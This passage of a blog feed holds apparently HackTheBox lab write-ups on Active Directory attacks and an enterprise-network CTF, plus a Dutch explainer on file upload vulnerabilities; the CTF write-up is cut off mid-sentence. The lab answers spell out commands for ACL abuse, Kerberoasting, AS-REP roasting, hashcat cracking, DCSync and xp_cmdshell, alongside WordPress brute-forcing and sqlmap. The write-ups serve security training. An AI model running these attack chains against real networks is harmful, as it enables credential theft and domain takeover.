src="https://cdn-images-1.medium.com/max/573/1*FjzPxb1974eQzmydBSc0Zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1OcudS6XBlPkTCUZdJVaA.png" /></figure><p><em>What PowerView function allows us to test if a user has administrative access to a local or remote host?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*hhdFGmgDehlThUz_SlJyxQ.png" /></figure><p>Above, we determined that the user we are currently using is an administrator on the host ACADEMY-EA-MS01. We can perform the same function for each host to see where we have administrative access. We will see later how well BloodHound performs this type of check. Now we can check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack.</p><p><em>Run Snaffler and hunt for a readable web config file. What is the name of the user in the connection string within the file?<br></em><strong><em>AND </em></strong>What is the password for the database use</p><p>.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXiSMHjsw0A2izHILAmU3A.png" /></figure><p><strong>Living Off the Land</strong></p><p><em>Enumerate the host’s security configuration information and provide its AMProductVersion.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*slNrv4QgLL5fmERf2_iQjA.png" /></figure><p><em>What domain user is explicitly listed as a member of the local Administrators group on the target host?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*lca0ci4fdC4FN761w2HqLA.png" /></figure><p><em>Utilizing techniques learned in this section, find the flag hidden in the description field of a disabled account with administrative privileges. Submit the flag as the answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5PYCIDsU7BYflSHe3qMvqA.png" /></figure><p><strong>Kerberoasting — from Linux<br></strong><em>Retrieve the TGS ticket for the SAPService account. Crack the ticket offline and submit the password as your answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Udsw-24282ukr_ReD6IToQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3bqpbd-_AQyxFQ1Cq3tUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*dz-FdP6P9_m4HqtHCEiXCg.png" /></figure><p><em>What powerful local group on the Domain Controller is the SAPService user a member of?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBBBU3-obufc1QK_vmr0sw.png" /></figure><p><strong>Kerberoasting — from Windows<br></strong><em>What is the name of the service account with the SPN ‘vmware/inlanefreight.local’?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*x_6VzTOhtH2rcuR7xFx35w.png" /></figure><p><em>Crack the password for this account and submit it as your answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Fd0amwcvDHIbPUQBihQRLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*R76cf9--X0O5il8gttBbdA.png" /></figure><p><strong>Access Control List (ACL) Abuse Primer<br></strong><em>What type of ACL defines which security principals are granted or denied access to an object? (one word)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cc5LdffMakgj-fmiTajNIQ.png" /></figure><p><em>Which ACE entry can be leveraged to perform a targeted Kerberoasting attack?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KqiWLjjo8U1zfx6nxJ_HOA.png" /></figure><p><strong>ACL Enumeration<br></strong><em>What is the rights GUID for User-Force-Change-Password?<br>“</em>We could Google for the GUID value <strong>00299570–246d-11d0-a768–00aa006e0529</strong> and uncover this page showing that the user has the right to force change the other user’s password.”</p><p><em>What flag can we use with PowerView to show us the ObjectAceType in a human-readable format during our enumeration?<br>“</em>This gave us our answer, but would be highly inefficient during an assessment. PowerView has the <strong>ResolveGUIDs</strong> flag, which does this very thing for us. Notice how the output changes when we include this flag to show the human-readable format of the ObjectAceType property as User-Force-Change-Password.”</p><p><em>What privileges does the user damundsen have over the Help Desk Level 1 group?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QInKHZdznw2s5Umvwe6Jvw.png" /></figure><p><em>Using the skills learned in this section, enumerate the ActiveDirectoryRights that the user forend has over the user dpayne (Dagmar Payne).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*7iqGfpJiM-Q_PRkU-BfQeg.png" /></figure><p><em>What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*9CXGO9hsukiz9dDB8se_1Q.png" /></figure><p><strong>ACL Abuse Tactics<br></strong><em>Work through the examples in this section to gain a better understanding of ACL abuse and performing these skills hands-on. Set a fake SPN for the adunn account, Kerberoast the user, and crack the hash using Hashcat. Submit the account’s cleartext password as your answer.</em></p><p>We begin by opening a PowerShell session and authenticating as the <strong>wley</strong> user:<br>$SecPassword = ConvertTo-SecureString ‘PASSWORD’ -AsPlainText -Force<br>$Cred = New-Object System.Management.Automation.PSCredential(‘INLANEFREIGHT\wley’, $SecPassword)</p><p>Next, we create a SecureString object containing the password that will be assigned to the target user:<br>$damundsenPassword = ConvertTo-SecureString ‘Pwn3d_by_ACLs!’ -AsPlainText -Force</p><p>We load PowerView and use Set-DomainUserPassword, supplying the credentials of wley:<br>Import-Module .\PowerView.ps1<br>Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose</p><p>After the password change, we authenticate as damundsen using the new credentials:<br>$SecPassword = ConvertTo-SecureString ‘Pwn3d_by_ACLs!’ -AsPlainText -Force<br>$Cred2 = New-Object System.Management.Automation.PSCredential(‘INLANEFREIGHT\damundsen’, $SecPassword)</p><p>We confirm that<strong> </strong>damundsen is not yet a member of the target group:<br>Get-ADGroup -Identity “Help Desk Level 1” -Properties * | Select -ExpandProperty Members</p><p>We add the user to the Help Desk Level 1 group using the newly created credentials:<br>Add-DomainGroupMember -Identity ‘Help Desk Level 1’ -Members ‘damundsen’ -Credential $Cred2 -Verbose</p><p>A final check verifies that the user was successfully added to the group:<br>Get-DomainGroupMember -Identity “Help Desk Level 1” | Select MemberName</p><p>Because Help Desk Level 1 is nested within the Information Technology group, the required permissions are inherited. We can now create a fake SPN using Set-DomainObject:<br>Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname=’notahacker/LEGIT’} -Verbose</p><p>With the SPN in place, we Kerberoast the account and extract the hash for offline cracking using Rubeus:<br>.\Rubeus.exe kerberoast /user:adunn /nowrap</p><p>Crack the hash with hashcat:<br>hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt</p><p>And voilà!:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJJ0Xf7SZuagSfLlyOVQNQ.png" /></figure><p><strong>DCSync<br></strong>DCSync is an attack technique that abuses the Active Directory replication process to extract NTLM password hashes. By leveraging the Directory Replication Service Remote Protocol, an attacker can impersonate a Domain Controller and request sensitive account data.</p><p>The attack relies on the DS-Replication-Get-Changes-All extended right, which allows replication of secret data such as password hashes.</p><p>To execute a DCSync attack, the attacker must control an account with domain replication privileges. These permissions are typically granted to Domain Admins, Enterprise Admins, and default domain administrator accounts.</p><p>The attack can also be executed using Mimikatz, which requires specifying a target account. In this case, we target the built-in Administrator account. While targeting the krbtgt account would allow the creation of a Golden Ticket for persistence, this falls outside the scope of this module.</p><p>It is important to note that Mimikatz must be run in the security context of a user with DCSync privileges. This can be achieved by using runas.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eCq7Vb2VJtnd9YvI83cLUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*9Tvi2vgMRt-NgRQZxoOGrw.png" /></figure><p><em>Perform a DCSync attack and look for another user with the option “Store password using reversible encryption” set. Submit the username as your answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YcyyL8TKtzKygmAq7PdsBQ.png" /></figure><p><em>What is this user’s cleartext password?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*5JCx3Dgm1T_a3HHxucXeWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*yw-xYCgbZLBsfRJfGwjUSg.png" /></figure><p><em>Perform a DCSync attack and submit the NTLM hash for the khartsfield user as your answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*t0hzyKR4Itc_FU7JEp8F1g.png" /></figure><p><strong>Privileged Access<br></strong><em>What other user in the domain has CanPSRemote rights to a host?<br></em>MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]-&gt;(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]-&gt;(c:Computer) RETURN p2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEQkhsT1azkeTa-bwMch0Q.png" /></figure><p><em>What host can this user access via WinRM? (just the computer name)<br></em>Use the same Cypher query as in the previous question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*9eVrp2Jp7O2lNaqM6jsgtw.png" /></figure><p><em>Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*Wnt4JexW_qejMei9AVIUbw.png" /></figure><p>From the existing RDP session, establish an SSH connection back to the attack machine. If a direct SSH connection is not possible, create an SSH tunnel to gain access to the internal network. Once this is in place, you can use mssqlclient.py. Run the following command: <br>mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth<br>When prompted, enter the user’s password.<br>After successfully connecting to the MSSQL server, enable command execution by running: enable_xp_cmdshell<br>Finally, use xp_cmdshell to read the flag file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*T_pzl6OSSXaeFYVCPJeKbw.png" /></figure><p><strong>Bleeding Edge Vulnerabilities</strong><br><em>Which two CVEs indicate NoPac.py may work? (Format: ####-#####&amp;####-#####, no spaces</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Wn_ep0BqcavnSGQpJBNpw.png" /></figure><p><em>Apply what was taught in this section to gain a shell on DC01. Submit the contents of flag.txt located in the DailyTasks directory on the Administrator’s desktop.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbEnic2ODJG3cKjsiXFh8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*xrogEYEHtVp2A09WE6cnQA.png" /></figure><p><strong>Miscellaneous Misconfigurations<br></strong><em>Find another user with the passwd_notreqd field set. Submit the samaccountname as your answer. The samaccountname starts with the letter “y”.<br>After we have an rdp connection we start a powershell session. We import the module PowerView.ps1 with command:<br>Import-Module .\PowerView.ps1<br>After we done this, we type the following command:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*PkelrookMIcrG8xPIk5RsA.png" /></figure><p><em>Find another user with the “Do not require Kerberos pre-authentication setting” enabled. Perform an ASREPRoasting attack against this user, crack the hash, and submit their cleartext password as your answer.<br>First we need </em>to use Get-DomainUser to enumerate users for the Do not require Kerberos pre-authentication setting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*_lTH_NuQVsdUP7dl55T1QA.png" /></figure><p>After we find out that this user is ygroce, we use Rubeus to perform AS-REP roasting:<br>.\Rubeus.exe asreproast /user:ygroce /nowrap /format:hashcat<br>Now we have a hash and we need to crack it to see the plaintext password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*XWy1ZACfQ88Jpq0tyxCXmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*39fOee5FfNVinT9xbUZ6dA.png" /></figure><p><strong>Additional AD Auditing Techniques<br></strong><em>Take some time to experiment with the tools from this section with the spawned target. When done, enter COMPLETE as the answer to this question.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*IIxocB3G2_lC0qigr0pEMw.png" /></figure><p><strong>AD Enumeration &amp; Attacks — Skills Assessment Part I &amp; II</strong></p><p>Based on the techniques and concepts covered in this article, I am confident that you now have the knowledge and practical understanding required to successfully complete the Active Directory Enumeration &amp; Attacks — Skills Assessment Part I &amp; II. By applying these methods methodically and thinking critically about attack paths and privilege relationships, you will be well-prepared to approach the assessment with confidence.</p><p>Active Directory attacks are not about memorizing tools or commands, but about understanding how systems, permissions, and trust relationships interact. Keep practicing, stay curious, and continue exploring attack paths in real environments. Every lab you complete brings you one step closer to mastery.</p><p>Good luck — and enjoy the process of learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd909caf2792" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-up: File Upload Attacks]]></title>
            <link>https://medium.com/@jordi_been/write-up-file-upload-attacks-ee9ea163363d?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee9ea163363d</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 22:51:00 GMT</pubDate>
            <atom:updated>2026-07-10T22:51:00.846Z</atom:updated>
            <content:encoded><![CDATA[<p>Het uploaden van bestanden is tegenwoordig een standaardfunctie in veel webapplicaties. Denk bijvoorbeeld aan social media waar je een profielfoto kunt uploaden, of een bedrijfswebsite waar klanten documenten kunnen aanleveren. Deze functionaliteit maakt websites gebruiksvriendelijker en geeft gebruikers meer mogelijkheden.</p><p>Maar er zit ook een keerzijde aan. Wanneer een website gebruikers toestaat bestanden te uploaden, bestaat het risico dat iemand een schadelijk bestand probeert te plaatsen op de server van de website. Als de website niet goed controleert wat er wordt geüpload, kan een aanvaller misbruik maken van deze functie.</p><p>In het ergste geval kan zo’n bestand worden gebruikt om controle te krijgen over de server waarop de website draait.</p><h4>Waarom bestanduploads risico’s met zich meebrengen</h4><p>Wanneer een gebruiker een bestand uploadt, moet een webapplicatie controleren of dat bestand veilig is. Dat gebeurt meestal door te kijken naar bijvoorbeeld:</p><ul><li>het bestandstype</li><li>de bestandsextensie (zoals .jpg of .pdf)</li><li>de inhoud van het bestand</li></ul><p>Als deze controles ontbreken of niet goed zijn ingericht, kan iemand proberen een bestand te uploaden dat eigenlijk helemaal niet bedoeld is voor die functie.</p><p>Kwetsbaarheden rondom bestanduploads komen regelmatig voor in zowel web- als mobiele applicaties. In beveiligingsrapporten worden dit soort problemen vaak als ernstig beoordeeld, omdat ze in sommige gevallen kunnen leiden tot volledige controle over een systeem.</p><h4>Hoe misbruik van uploads kan plaatsvinden</h4><p>De meest voorkomende oorzaak van problemen met bestanduploads is zwakke of ontbrekende validatie. Dat betekent simpelweg dat de website onvoldoende controleert wat er wordt geüpload.</p><p>In een extreem geval kan een website iedereen toestaan om elk type bestand te uploaden, zonder dat daarvoor zelfs maar een account nodig is. Dit wordt ook wel een unauthenticated arbitrary file<em> </em>upload genoemd.</p><p>Wanneer dit mogelijk is, kan een aanvaller bijvoorbeeld een speciaal script uploaden dat op de server wordt uitgevoerd.</p><h4>Webshells en reverse shells</h4><p>Een bekende methode bij dit soort aanvallen is het uploaden van een zogenoemde webshell.</p><p>Een webshell is een klein script dat via een webpagina commando’s kan uitvoeren op de server. Zodra het bestand eenmaal op de server staat, kan een aanvaller via de browser opdrachten sturen en de resultaten bekijken.</p><p>Een andere techniek is het uploaden van een script dat een reverse shell opent. Daarbij maakt de server zelf verbinding met de aanvaller, waardoor er een directe commandoregelverbinding ontstaat.</p><p>In beide gevallen kan een aanvaller het systeem verder onderzoeken en mogelijk meer toegang verkrijgen tot andere systemen binnen het netwerk.</p><h4>Beperkte uploads kunnen ook risico’s hebben</h4><p>Soms laat een website alleen specifieke bestandstypen toe, zoals afbeeldingen of PDF-bestanden. Dat lijkt veiliger, maar zelfs dan kunnen er nog risico’s bestaan als bepaalde beveiligingsmaatregelen ontbreken.</p><p>Voorbeelden van mogelijke aanvallen zijn:</p><ul><li>het introduceren van andere kwetsbaarheden zoals XSS of XXE</li><li>het veroorzaken van een Denial of Service (DoS) waardoor een server overbelast raakt</li><li>het overschrijven van belangrijke configuratiebestanden</li><li>het misbruiken van het uploadsysteem voor andere aanvallen</li></ul><h4>Wanneer er helemaal geen controle is</h4><p>De meest eenvoudige en gevaarlijke situatie ontstaat wanneer een webapplicatie helemaal geen validatie uitvoert op geüploade bestanden. In dat geval kan vrijwel elk bestandstype worden geüpload.</p><p>Om te testen of dit mogelijk is, kan een beveiligingsonderzoeker bijvoorbeeld een eenvoudig scriptbestand uploaden. Als dat bestand vervolgens toegankelijk blijkt via de website en ook nog wordt uitgevoerd, is duidelijk dat er een ernstig beveiligingsprobleem bestaat.</p><h4>Technologie van een website herkennen</h4><p>Voordat iemand een dergelijk script kan uploaden, moet vaak eerst worden vastgesteld welke technologie de website gebruikt. Websites draaien namelijk op verschillende programmeertalen en frameworks.</p><p>Soms is dit eenvoudig te herkennen aan de URL van een webpagina. In andere gevallen kunnen tools of browserextensies helpen om te achterhalen welke technologie achter een website zit.</p><p>Door te weten welke programmeertaal wordt gebruikt, kan een aanvaller een script maken dat door de server wordt uitgevoerd.</p><h4>Testen van een uploadfunctie</h4><p>Wanneer de technologie bekend is, kan worden getest of een bestand met dezelfde extensie kan worden geüpload. Als de website het bestand accepteert en het daarna toegankelijk maakt via de browser, kan dat betekenen dat de server de inhoud van het bestand daadwerkelijk uitvoert.</p><p>Als dat gebeurt, is er sprake van een ernstige kwetsbaarheid. Het betekent namelijk dat iemand mogelijk eigen code op de server kan laten draaien.</p><p>Client-side validatie bij bestanduploads</p><p>Veel webapplicaties proberen te controleren welk type bestand een gebruiker uploadt. Vaak gebeurt deze controle met behulp van JavaScript in de browser. De website kijkt dan bijvoorbeeld of een bestand een afbeelding is voordat het wordt geüpload.</p><p>Als het bestand niet aan de vereisten voldoet, wordt het uploaden geblokkeerd. Denk bijvoorbeeld aan een melding zoals: “Alleen afbeeldingen zijn toegestaan.”</p><p>Op het eerste gezicht lijkt dit een goede beveiligingsmaatregel, maar in werkelijkheid biedt dit maar beperkte bescherming.</p><p>Waarom client-side validatie niet voldoende is</p><p>Wanneer een controle alleen in de browser plaatsvindt, wordt dit ook wel client-side validatie genoemd. De browser controleert dus of een bestand aan bepaalde voorwaarden voldoet voordat het naar de server wordt gestuurd.</p><p>Het probleem is dat alles wat in de browser gebeurt onder controle van de gebruiker staat. Een aanvaller kan deze controles daarom relatief eenvoudig omzeilen.</p><p>Dit kan bijvoorbeeld door:</p><ul><li>rechtstreeks met de server te communiceren</li><li>het uploadverzoek handmatig aan te passen</li><li>de JavaScript-validatie in de browser uit te schakelen</li></ul><p>Als de server zelf geen extra controles uitvoert, kan een aanvaller alsnog een ongewenst bestand uploaden.</p><h4>Een typisch voorbeeld: profielfoto uploaden</h4><p>Veel websites hebben een functie waarmee gebruikers een profielfoto kunnen uploaden. Vaak mag hier alleen een afbeelding worden geüpload, zoals een JPG of PNG-bestand.</p><p>Wanneer je een bestand probeert te selecteren dat geen afbeelding is, kan het zijn dat:</p><ul><li>het bestand niet zichtbaar is in het selectievenster</li><li>het bestand grijs wordt weergegeven</li><li>of dat je een foutmelding krijgt wanneer je het probeert te uploaden</li><li>De website lijkt dus te controleren of het bestand een afbeelding is.</li></ul><p>Toch betekent dit niet automatisch dat de server deze controle ook uitvoert.</p><h4>Direct met de server communiceren</h4><p>Een manier om client-side validatie te omzeilen is door het uploadverzoek zelf te bekijken en aan te passen. Tools zoals netwerkinspectors of beveiligingstools kunnen laten zien welk verzoek de browser naar de server stuurt.</p><p>Wanneer een bestand wordt geüpload, stuurt de browser meestal een HTTP-verzoek naar een specifieke uploadpagina op de server.</p><p>Zo’n verzoek bevat onder andere:</p><ul><li>de bestandsnaam</li><li>het type bestand</li><li>de inhoud van het bestand zelf</li></ul><p>Als de server deze gegevens niet controleert, kan iemand het verzoek aanpassen voordat het wordt verzonden.</p><p>Bijvoorbeeld door:</p><ul><li>de bestandsnaam te veranderen</li><li>een ander bestandstype te gebruiken</li><li>of de inhoud van het bestand te wijzigen</li></ul><p>Als de server dit accepteert, wordt het bestand alsnog opgeslagen.</p><p>Dit laat zien waarom het belangrijk is dat validatie altijd op de server plaatsvindt en niet alleen in de browser.</p><h4>Front-end validatie uitschakelen</h4><p>Een andere manier om client-side validatie te omzeilen is door de front-end code zelf aan te passen. Omdat deze code in de browser wordt uitgevoerd, kan een gebruiker deze vaak bekijken en wijzigen.</p><p>Met de ontwikkelaarstools van moderne browsers is het bijvoorbeeld mogelijk om JavaScript-code tijdelijk aan te passen of uit te schakelen.</p><p>Hier zijn enkele manieren waarop dat kan gebeuren.</p><p>1. HTML-beperkingen verwijderen</p><p>Soms beperkt een website het uploadveld met een HTML-attribuut zoals:</p><p>&lt;input type=”file” accept=”image/*”&gt;</p><p>Dit zorgt ervoor dat alleen afbeeldingsbestanden zichtbaar zijn in het selectievenster.</p><p>Met de browserontwikkelaarstools kan iemand dit attribuut verwijderen of aanpassen, waardoor alle bestandstypen geselecteerd kunnen worden.</p><p>2. JavaScript-validatie aanpassen</p><p>Veel websites gebruiken JavaScript om te controleren of een bestand een bepaalde extensie heeft.</p><p>Een voorbeeld van zo’n controle kan er ongeveer zo uitzien:</p><p>if(file.type !== “image/png”){<br> alert(“Alleen afbeeldingen zijn toegestaan”);<br>}</p><p>Als iemand deze controle in de browser uitschakelt of wijzigt, verdwijnt de beperking en kan elk bestand worden geüpload.</p><p>3. Uploadknop opnieuw inschakelen</p><p>Soms wordt de uploadknop automatisch uitgeschakeld wanneer een bestand niet wordt geaccepteerd.</p><p>In de ontwikkelaarstools kan deze knop handmatig weer worden geactiveerd door bijvoorbeeld het disabled attribuut te verwijderen.</p><p>4. JavaScript tijdelijk uitschakelen</p><p>In sommige gevallen kan een gebruiker JavaScript zelfs volledig uitschakelen in de browser. Wanneer de website volledig afhankelijk is van JavaScript-validatie, verdwijnen de uploadcontroles daarmee automatisch.</p><h4>Waarom server-side validatie essentieel is</h4><p>Deze voorbeelden laten zien dat client-side validatie vooral bedoeld is voor gebruiksgemak, niet voor beveiliging.</p><p>Echte beveiliging moet altijd plaatsvinden op de server zelf. Alleen de server kan namelijk betrouwbaar bepalen:</p><ul><li>welk bestandstype wordt geüpload</li><li>wat de daadwerkelijke inhoud van het bestand is</li><li>het bestand veilig opgeslagen kan worden</li></ul><p>Zonder deze server-side controles kan een ogenschijnlijk simpele uploadfunctie veranderen in een serieus beveiligingsrisico.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee9ea163363d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Enterprise Networks]]></title>
            <link>https://medium.com/@jordi_been/attacking-enterprise-networks-8233446dd9b6?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/8233446dd9b6</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 11:46:00 GMT</pubDate>
            <atom:updated>2026-07-07T11:46:00.964Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Perform a banner grab of the services listening on the target host and find a non-standard service banner. Submit the name as your answer (format: word_word_word)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*2yrfUVC2RgseUDGv3dF0dg.png" /><figcaption>First method: nmap using the -A option on port 53</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*-QultjZaaIylLEL8zwpkZA.png" /><figcaption>Second method: dig on dns server. The version.bind gives us information about the software version. CH(AOS) gives us internal information about the dns server.</figcaption></figure><p><strong>Perform a DNS Zone Transfer against the target and find a flag. Submit the flag value as your answer (flag format: HTB{ }).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FujT6aVtkdcGYUKCrmPo7w.png" /><figcaption>dig axfr inlanefreight.local at&lt;ipadres&gt;</figcaption></figure><p><strong>What is the FQDN of the associated subdomain?</strong><em> flag.inlanefreight.local</em></p><p><strong>Perform vhost discovery. What additional vhost exists? (one word)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v8u10EEslEbbcEG3U2Al_g.png" /><figcaption>For Vhost discovery, you an use ffuf. After I compare the output with the output of the zone transfer, I discovered an other vhost: monitoring</figcaption></figure><p><strong>Enumerate the accessible services and find a flag. Submit the flag value as your answer (flag format: HTB{ }).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*rzRVT_Dag68dSNy600E8Bg.png" /><figcaption>Use “get” to transfer the file to your system. After that we can read the flag.</figcaption></figure><p><strong>Use the IDOR vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}). </strong><a href="http://careers.inlanefreight.local/profile?id=4"><em>http://careers.inlanefreight.local/profile?id=4</em></a></p><pre>IDOR: With an IDOR vulnerability, an application uses a direct reference to an object (such as an ID number or filename) without checking whether the user is verified to view that specific object.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*jW6J7V8zdIbGy5CPXn44FA.png" /><figcaption>In the searchbar we noticed a /profile?=9</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lnhz8xO4lLiFZ-kxZn4BgA.png" /><figcaption>With Intruder (Burp) we use a counting list (0 to 100). If I filter this on the response with HTB{, I got hit on id number 4.</figcaption></figure><p><strong>Exploit the HTTP verb tampering vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zi_EpRMrBObrr7yFMqjMgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-cpn91fQKwzMUATSwfLZJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q5YH1iqR62GtnWcViSGikQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36aZ-dxB5nOdr0sUEATr2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*kHBF1JERd3Ey13lSM3AE2g.png" /></figure><p><strong>Exploit the WordPress instance and find a flag in the web root. Submit the flag value as your answer (flag format: HTB{}).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*iKJz6ECbJmD4WrhgJ6dGMw.png" /><figcaption>wpscan — url <a href="http://ir.inlanefreight.local/">http://ir.inlanefreight.local</a> — enumerate</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WrNmI4kgnej3JBWeymXEjg.png" /><figcaption>wpscan — url <a href="http://ir.inlanefreight.local/">http://ir.inlanefreight.local</a> -P /usr/share/wordlists/rockyou.txt -U ilfreightwp — no-banner -t 500</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y1qASwhe6KsOe5_-v0LJIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*VBXSMmkH_MRuRuLklSLWMw.png" /></figure><p><strong>Enumerate the “status” database and retrieve the password for the “Flag” user. Submit the value as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AUuIMba9yaNzeP5aDd0BBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j8FDUhFXgdxZAko1911DsA.png" /><figcaption>save item &gt;&gt; request.req for sqlmap</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*_8en14NxSUWj10P-fj-fcA.png" /><figcaption>We retrieve the password for the “Flag” user.</figcaption></figure><p><strong>Use the SSRF to Local File Read vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*0mdv7xC6n1jaPMwlKPMPGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*mtLt3QTAZlgisAXqGW5TEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8R6mPb-TVymIMGO6GO7tlg.png" /></figure><p>Use the SSRF to Local File Read vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*2KYhFu77s0pYRrKWsNnuyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVDJZucvo0F26WH9Ao2G3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*k8STmPympQfRHlbG8-PjHg.png" /></figure><p><strong>Register an account and log in to the Gitlab instance. Submit the flag value (flag format : HTB{}).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HB0xn71Gjd2QeCbpWH8qTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4lSTmyeZSvoceiqFjMtBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ad94kTwPDLTFl7hPZvpeqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-5mYUTz165QOcDI7nKJ3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RlfiAO9piFXsG1AQLKVZ4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7avbzlYvYCl6yuRqgp2Tag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SqOi47-CyVFV8UDOt6hsQ.png" /></figure><p><strong>Use the command injection vulnerability 